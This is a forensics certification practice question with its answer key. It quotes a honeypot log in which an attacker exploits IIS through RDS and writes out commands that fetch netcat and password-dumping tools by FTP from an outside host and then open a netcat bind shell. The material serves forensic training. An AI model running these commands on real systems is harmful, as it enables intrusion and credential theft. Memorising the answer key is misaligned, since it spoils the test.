Computer Hacking Forensic Investigator (CHFI) — Question 100

The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File Permission
Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a
Unicode attack and eventually succeeds in displaying boot.ini.
He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below.
"cmd1.exe /c open 213.116.251.162 >ftpcom"
"cmd1.exe /c echo johna2k >>ftpcom"
"cmd1.exe /c echo haxedj00 >>ftpcom"
"cmd1.exe /c echo get nc.exe >>ftpcom"
"cmd1.exe /c echo get pdump.exe >>ftpcom"
"cmd1.exe /c echo get samdump.dll >>ftpcom"
"cmd1.exe /c echo quit >>ftpcom"
"cmd1.exe /c ftp -s:ftpcom"
"cmd1.exe /c nc -l -p 6969 -e cmd1.exe"
What can you infer from the exploit given?

Answer options

• A. It is a local exploit where the attacker logs in using username johna2k
• B. There are two attackers on the system - johna2k and haxedj00
• C. The attack is a remote exploit and the hacker downloads three files
• D. The attacker is unsuccessful in spawning a shell as he has specified a high end UDP port

Correct answer: C

Explanation

The correct answer is C because the commands issued by the attacker indicate that they are downloading three files using FTP, demonstrating a remote exploit. Options A and B incorrectly suggest local access or multiple attackers, which is not supported by the log. Option D is also incorrect, as the attacker successfully sets up a listener on a high port, indicating they might be able to spawn a shell.